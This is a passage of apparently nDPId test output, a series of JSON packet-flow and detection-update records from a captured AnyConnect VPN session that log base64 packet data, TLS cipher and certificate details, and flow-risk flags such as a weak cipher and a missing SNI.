{"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"c9f0b47c9805f516e6d3900cb51f7841","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00433{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":124375,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA09J0AAPcGVcMIJWZbCgAA4wG73mHOEwD2BjZ85YAQgABx9gAAAQEICj\/5rn0cDc6d"} +02388{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":125585,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXcl8UAAPcGrPMIJWZbCgAA4wG73mHOEwD2BjZ85YAYgAAZSQAAAQEICj\/5rn4AAAAAFgMDAEoCAABGAwMS1dWiLhj30tQHka2clXwBubFYxsGakjI80hE4lMe1viAg22YFfj1x2h1EMb7b7Zs3Eyk9zl0UXNWLnU3ttyeOkAA1ABYDAxYMCwAWCAAWBQAHTzCCB0swggYzoAMCAQICEEzL1X2WMv84AAAAAFDtNsswDQYJKoZIhvcNAQELBQAwgboxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxLjAsBgNVBAMTJUVudHJ1c3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBMMUswHhcNMTkwMjA1MjE0MzU4WhcNMjEwMjA1MjIxMzU3WjBqMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTERMA8GA1UEBxMIQ2FybHNiYWQxFDASBgNVBAoTC1ZpYXNhdCBJbmMuMR0wGwYDVQQDDBQqLnBhbmRpb24udmlhc2F0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMDLELlHVBK6u0Ebo80pCb8efwbCh\/TMouznnqPBNL9tRNwaGpyybhpzuk1Zsi17UHvzdRRi5jC1ABXEEMLDXnTmlJa8rTgrPFp+bDbQ0hUdzWHHqPeU2HtG04mySjEkEvEPPwEnXQ9WDwkLnm26wRjipUJ8im1nDlikggUMLPlTTSKVgq3SBlVGLStLOLbOoOETJwpjr5YBSUNc5kkHfCAlc5qW4vLVkqFKFRcjyNxUOZxbBYtQaUddL0tuM4H9CfrWrqh9LLWx1xsOqHp+nS51DEO+pTwRR6wUyq6bNJMs+PbLCQs17zxAOp51PnIcZcczqbjMDGIgELfxksap7yECAwEAAaOCA5owggOWMDMGA1UdEQQsMCqCFCoucGFuZGlvbi52aWFzYXQuY29tghJwYW5kaW9uLnZpYXNhdC5jb20wggH3BgorBgEEAdZ5AgQCBIIB5wSCAeMB4QB3AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABaL+5ngAAAAQDAEgwRgIhAKxxvM9C5gPV1Owy4M\/Dyzx7kBpwyzXQc7wZ0mGBR9fOAiEA\/A\/FJxuASzJphQeYq5ltFnIhSeTPRbPItlQigQZkkDwAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWi\/uZ35AAAEAwBHMEUCIQDNq3daAkrYxX6VQ9b6GqComWKfQou0IMsDnXGHMLZiSAIgEnWktUcQyNRmFvjh+POicMbVzLnjlwLij\/eoPMW67IwAdgBWFAaaL9fC7NP14b1Esj7HRna5vJkRXMDvlJhV1onQ3QAAAWi\/uZ5ZAAAEAwBHMEUCICH\/OekR\/g8Jdz2Y7Qc3us2XTMZ75OBnWYjV61BMMxsGAiEAtIuo7AamIHqnZDAbI1eeM3ogDSbRJ5hn12CgIZCempMAdgC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWi\/uZ5NAAAEAwBHMEUCIHkJ3QKOEfzyT\/nCAMVpK04S4woe8rsVcpjzIhSsRoSsAiEA324g9fbsnh\/O\/XKfcV4vnykRYq8iMzykYAT+PPtA1MEwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLmVudHJ1c3QubmV0L2xldmVsMWsuY3JsMEsGA1UdIAREMEIwNgYKYIY="} +00843{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":303,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":6,"flow_first_seen":1569687267035,"flow_last_seen":1569687267125,"flow_tot_l4_data_len":1808,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":301,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56929,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"c9f0b47c9805f516e6d3900cb51f7841","ja3s":"82f0d8a75fa483d1cfe4b7085b784d7e","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA"}} +00436{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":125658,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95hAbsGNnzlzhMGnoAQ\/\/\/sIAAAAQEIChwNzso\/+a5+"} +02385{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":165921,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXc\/u0AAPcGRcsIJWZbCgAA4wG73mHOEwaeBjZ85YAYgACJBAAAAQEICj\/5rqUAAAAASAGG+mwKAQUwKDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5lbnRydXN0Lm5ldC9ycGEwCAYGZ4EMAQICMGgGCCsGAQUFBwEBBFwwWjAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMwYIKwYBBQUHMAKGJ2h0dHA6Ly9haWEuZW50cnVzdC5uZXQvbDFrLWNoYWluMjU2LmNlcjAfBgNVHSMEGDAWgBSConB03bxTP8971PfNf6dgxgpMvzAdBgNVHQ4EFgQUmi0VGuslo\/WsT4R+rNKNmFj1ZL0wCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEAKdBE7Z+\/QgBIjgKdoPLQP+aFD6KtOZlOiHey04vsERDOADqNdu8unwz6N0izPw2l\/n+UoPoV6GrQkCjChT893I2Smv8Vj1mVR9ZW1nnkmVR9MJr+xC5Iw99s1Ntq2M7Knro\/38pMlTbzDdIcgeyuFS+2iILYDpWpJ7TdQfZH5XVAvdIk3ZnRxtGd7Lcy\/jVbSYIGFTi\/TuA8Bv82FbHnQSqp4ezyTgTKuHmdSMry0pP20Z6nga4Vd2slNm7KOIghxUpnvRfKqVpF04m1QFzXE34qRtPEU80S1e6wlIl8ZcZrL\/KcU+88mv0xL3dpgVjURuISIJE90mwZCDqslRXPTgAFEjCCBQ4wggP2oAMCAQICDA7pTMMAAAAAUdN3hTANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwHhcNMTUxMDA1MTkxMzU2WhcNMzAxMjA1MTk0MzU2WjCBujELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEuMCwGA1UEAxMlRW50cnVzdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEwxSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANo\/ltBNuS9E59s5XptQ7lylYdpBZ1MJqgCajld\/KWvbx+EhJKo60I1HI9LtchbwkSHSXbe4S6iDj7eRMmjPziWTLLJ9l8j+wbQXugmeA5CTe3xJgyJoipveR8MxmHoufUAL0u8+07KMqo9Iqf8A6ClYBve2k1qUcyYmrVgO5UK41epzeWRoUyW4hM+Ueq4GRQyja03Qxr7qGKQ28JKyuhyIjzpSf\/debYMcnfAf5cPW3aV4kj2wbSzqyc+UQRlxRGi6RzwE6V26PvA19xW2nvIuFR4\/R8jIOKdzRV1NsDuxjhcpN+rdBQEiu5Q2Ko1bNf5TGS8IRsEqsxpiHU4r2RsCAwEAAaOCAQwwggEIMA4GA1UdDwEB\/wQEAwIBBjASBgNVHRMBAf8ECDAGAQH\/AgEAMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL2NybC5lbnRydXN0Lm5ldC9nMmNhLmNybDA7BgNVHSAENDAyMDAGBFUdIAAwKDAmBggrBgEFBQc="} +02381{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":165925,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXcuXcAAPcGi0EIJWZbCgAA4wG73mHOEwxGBjZ85YAYgAAKqAAAAQEICj\/5rqUAAAAAAgEWGmh0dHA6Ly93d3cuZW50cnVzdC5uZXQvcnBhMB0GA1UdDgQWBBSConB03bxTP8971PfNf6dgxgpMvzAfBgNVHSMEGDAWgBRqciZ60B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAOdWOmINhyCxj03AdGTDL9gmszGnVydw3QfIyD+90w1j2eCcJNAiVki\/X37ij\/Q6B6aSc0z9NaCsVMQoVzFIEk+iTUMPZseLhaLc6CXTxNFgKP3eYQLjmaP9d5MhGxeyB18mCGFyDznHYvL+smQKT25SYhNKcprX+XLvwSq8hrMI\/SSRn1i6Oz6zMZBUYcuVsd9NSqLndjawASjUZ1G9zo3Xva2TD4I2DEqGK5w6GTdi0IBu+aqWMS2hm4yvHWAv7VhDUkfsd0zFYEIxE43V7EJ21OLH2qsqBZGzo8uKBVZdRf+HCJ1CiyTxbAEP2W7nVpfz\/B1BAZwewVfC3fm4tzAAFAzCCBP8wggPnoAMCAQICBFHTQEQwDQYJKoZIhvcNAQELBQAwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDA5MjIxNzE0NTdaFw0yNDA5MjMwMTMxNTNaMIG+MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9sZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMDkgRW50cnVzdCwgSW5jLiAtIGZvciBhdXRob3JpemVkIHVzZSBvbmx5MTIwMAYDVQQDEylFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALqEtnLbngxr4pnpMAGnduoyuJVBGsnaYU5Ycs\/+9oJ5v3NhBgqlJ9izX9NFThxy1k4y8nKKD\/eDGdBqgIAARR6wx+eavxJXJxyjaC8Kh71qaw5eZfMcd9XUhY1wIbSzMueLotWGOQKxuNJHzuTJScQ7p977VH1XvvDobsJ5sjoLVeJQmBYyE1wveFbBwpSz8lrkJ5qfJNfG7NCbJYLjzMLERcWMl3oGayoRn6kKbkg7b9vUERlC948Hv\/VTX5w+9Bcs5mmsTjJMYnfqt+jluzS8GYuunFHnt361U7EzIuVtz3A8Gvrim2e2g\/SNpa9iTE3gWKxkNBID+LaNlGMkpHECAwEAAaOCAQ8wggELMA4GA1UdDwEB\/wQEAwIBBjASBgNVHRMBAf8ECDAGAQH\/AgEBMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuZW50cnVzdC5uZXQwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC5lbnRydXN0Lm5ldC9yb290Y2ExLmNybDA7BgNVHSAENDAyMDAGBFUdIAAwKDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5lbnRydXN0Lm5ldC9DUFMwHQYDVR0OBBYEFGpyJnrQHu995ztpUdRsjZ+QEmarMB8GA1UdIwQYMBaAFGiQ5GekplOAx4ZmpPH3S0P7hL1tMA0GCSqGSIb3DQEBCwUAA4IBAQBpM4P8KHpvfe+dVevFPnqddbPMwzg22TSiKGgY6h5p073n0HfauACDTkrPb9HxwSI="} +00437{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":166002,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95hAbsGNnzlzhMMRoAQ\/\/\/mKQAAAQEIChwNzvI\/+a6l"} +00437{"flow_id":41,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":166003,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95hAbsGNnzlzhMR7oAQ\/\/\/ggQAAAQEIChwNzvI\/+a6l"} +02396{"flow_id":41,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":203156,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXcsBcAAPcGlKEIJWZbCgAA4wG73mHOExHuBjZ85YAYgACupAAAAQEICj\/5rs0AAAAAP3Tk95hJnpu2nuHbmHctVjSxqDzZ\/cDNx78FA9QCxfHlxtoIpRPHYiMR0WEwHWCERe95qMYmk6S3zTS4acUT9pGzyUVzdraS9nYKW+EDR7fpKUyRMiM3Spw12Hj9HR\/kg4kkgK23+c\/kXaXUccSFW3Af2z8cAesaRSYxFMxlv2feyswzZeVBkdc3vkEalp3mipedp86sTpo9vQGgatlPIgCLRNVpYnsu68y655J9aWc9\/Lh83kGH0GnqugoYehqVQ7N5cSh2baH7V0rsTcgOEAAElTCCBJEwggN5oAMCAQICBEVrUFQwDQYJKoZIhvcNAQEFBQAwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcyMDIzNDJaFw0yNjExMjcyMDUzNDJaMIGwMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjE5MDcGA1UECxMwd3d3LmVudHJ1c3QubmV0L0NQUyBpcyBpbmNvcnBvcmF0ZWQgYnkgcmVmZXJlbmNlMR8wHQYDVQQLExYoYykgMjAwNiBFbnRydXN0LCBJbmMuMS0wKwYDVQQDEyRFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2lbZDQvrGbSpvSN+UTDlXBe7DeRFBaDbt7P6aAY+hOCj89xBGZi5NHhqxGk7G0cCViLDJ\/zGLMwPbt4N7PiCEXu2yViin+OC5QHE3xctHDpcqaMAilWIV20fZ9dAr\/4JLya0+3kzbkIBQPwmKhADsMAo9GM37\/SpZmiOVFyxFnh9uQ3ltDFyY\/kinxSNHXF79bucetPZoRdGGg1uiio2x4ymA\/iVxiK2+vI+sUpZLqlGN5BMxGehOTZ\/brLNq1bw5VHHKenp\/kN19HYDZgbtZJsIR\/uaT4veA5GX7NDcOKYBwTa84hi6ef1evnheu6xzLKCFfthzY56IEIvnT2tjLAgMBAAGjgbAwga0wDgYDVR0PAQH\/BAQDAgEGMA8GA1UdEwEB\/wQFMAMBAf8wKwYDVR0QBCQwIoAPMjAwNjExMjcyMDIzNDJagQ8yMDI2MTEyNzIwNTM0MlowHwYDVR0jBBgwFoAUaJDkZ6SmU4DHhmak8fdLQ\/uEvW0wHQYDVR0OBBYEFGiQ5GekplOAx4ZmpPH3S0P7hL1tMB0GCSqGSIb2fQdBAAQQMA4bCFY3LjE6NC4wAwIEkDANBgkqhkiG9w0BAQUFAAOCAQEAk9QwsNcDICrQ+WPokQwFIKlfGcp7ck7UsdvQlvtUWhksDAj3sryFqJ1\/bTtSsyrb59SEjGP2D8smAZFQbPRfFOKTdMATnjA6UOO0YMUc8CJEjXFHrMgayembmgBgE\/9wfl8RTUkbsxVSe8lU2r+dla9rmtie6fHkQ43iEUQ6v6+9g0JzUouqu6cpz\/VkHApN0byqrJ8q0P9\/f9p96rHtMCXBhNo00lt4g1bsnDbDJuIR9mdJHZKrjPvr\/3ruhUqnUIDwp1xKlC5fBZk8UkHgzbRjzwFDupyD3I9gO\/NatLR7rtoLkDh174EdZtL3V3A2s7\/8KK9xJYVbE\/4ef1q0PBYDAwSWDQAEjgIBQAAOBgEGAwUBBQMEAQQDAgEEeQB1MHMxEzARBgoJkiaJk\/IsZAEZFgNjb20xFjAUBgoJkiY="} +01229{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":309,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":12,"flow_first_seen":1569687267035,"flow_last_seen":1569687267203,"flow_tot_l4_data_len":6344,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":528,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56929,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","server_names":"*.pandion.viasat.com,pandion.viasat.com","ja3":"c9f0b47c9805f516e6d3900cb51f7841","ja3s":"82f0d8a75fa483d1cfe4b7085b784d7e","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Entrust, Inc., OU=See www.entrust.net\/legal-terms, OU=(c) 2012 Entrust, Inc. - for authorized use only, CN=Entrust Certification Authority - L1K","issuerDN":"C=US, ST=California, L=Carlsbad, O=Viasat Inc., CN=*.pandion.viasat.com","fingerprint":"92:70:CF:E3:69:4B:1D:F4:E2:DE:63:54:EC:DF:40:DB:F3:AC:D1:CA"}} +01932{"flow_id":41,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":203162,"pkt_caplen":1181,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1181,"pkt_l4_len":1147,"pkt":"NDY7z3UoLH6BsEqhCABFAASPwEcAAPcGhb4IJWZbCgAA4wG73mHOExeWBjZ85YAYgACVIAAAAQEICj\/5rs0AAAAAiZPyLGQBGRYGdmlhc2F0MRQwEgYKCZImiZPyLGQBGRYEY29ycDESMBAGCgmSJomT8ixkARkWAmhxMRowGAYDVQQDExFWaWFzYXQgU0hBIDIgQ0EtMwB1MHMxEzARBgoJkiaJk\/IsZAEZFgNjb20xFjAUBgoJkiaJk\/IsZAEZFgZ2aWFzYXQxFDASBgoJkiaJk\/IsZAEZFgRjb3JwMRIwEAYKCZImiZPyLGQBGRYCaHExGjAYBgNVBAMTEVZpYXNhdCBTSEEgMiBDQS0yAHUwczETMBEGCgmSJomT8ixkARkWA2NvbTEWMBQGCgmSJomT8ixkARkWBnZpYXNhdDEUMBIGCgmSJomT8ixkARkWBGNvcnAxEjAQBgoJkiaJk\/IsZAEZFgJocTEaMBgGA1UEAxMRVmlhc2F0IFNIQSAyIENBLTEAITAfMR0wGwYDVQQDExRWaWFzYXQgU0hBIDIgUm9vdCBDQQDBMIG+MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9sZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMDkgRW50cnVzdCwgSW5jLiAtIGZvciBhdXRob3JpemVkIHVzZSBvbmx5MTIwMAYDVQQDEylFbnRydXN0IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMgC9MIG6MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9sZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMTIgRW50cnVzdCwgSW5jLiAtIGZvciBhdXRob3JpemVkIHVzZSBvbmx5MS4wLAYDVQQDEyVFbnRydXN0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gTDFLALMwgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eQC4MIG1MQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOzA5BgNVBAsTMlRlcm1zIG9mIHVzZSBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTEwMS8wLQYDVQQDEyZWZXJpU2lnbiBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHMw4AAAA="} +00437{"flow_id":41,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":203246,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95hAbsGNnzlzhMXloAQ\/\/\/ajAAAAQEIChwNzxc\/+a7N"} +00437{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":203247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95hAbsGNnzlzhMb8YAQ\/\/\/WMQAAAQEIChwNzxc\/+a7N"} +00520{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":286861,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"LH6BsEqhNDY7z3UoCABFAABzAABAAEAGB9AKAADjNCXzrd5SAbt7aDP2a\/Iu+oAYEACCzQAAAQEIChwNz2oCYHQCFwMDADoAAAAAAAAAB7TF6ysJtS62rG9nufpvlCPdT42N4ZN6t9sYhLoWHYOoHQvLEDm6j84VBW0nca1Gx5So"} +00433{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":315,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":322277,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA0VONAACoGySs0JfOtCgAA4wG73lJr8i76e2g0NYAQAAm17AAAAQEICgJgdaIcDc9q"} +00521{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":323332,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"NDY7z3UoLH6BsEqhCABFAABzVORAACoGyOs0JfOtCgAA4wG73lJr8i76e2g0NYAYAAmvvAAAAQEICgJgdaIcDc9qFwMDADr34AORZ\/mswQrOpB6saZ5OTdZLtVApkLcu7nvjHL4ZxtsMSNce\/N0YGd0SLA8DL+PkoKYgkm4G3tEm"} +00435{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":317,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687267,"pkt_ts_usec":323402,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGCA8KAADjNCXzrd5SAbt7aDQ1a\/IvOYAQD\/6llQAAAQEIChwNz40CYHWi"} 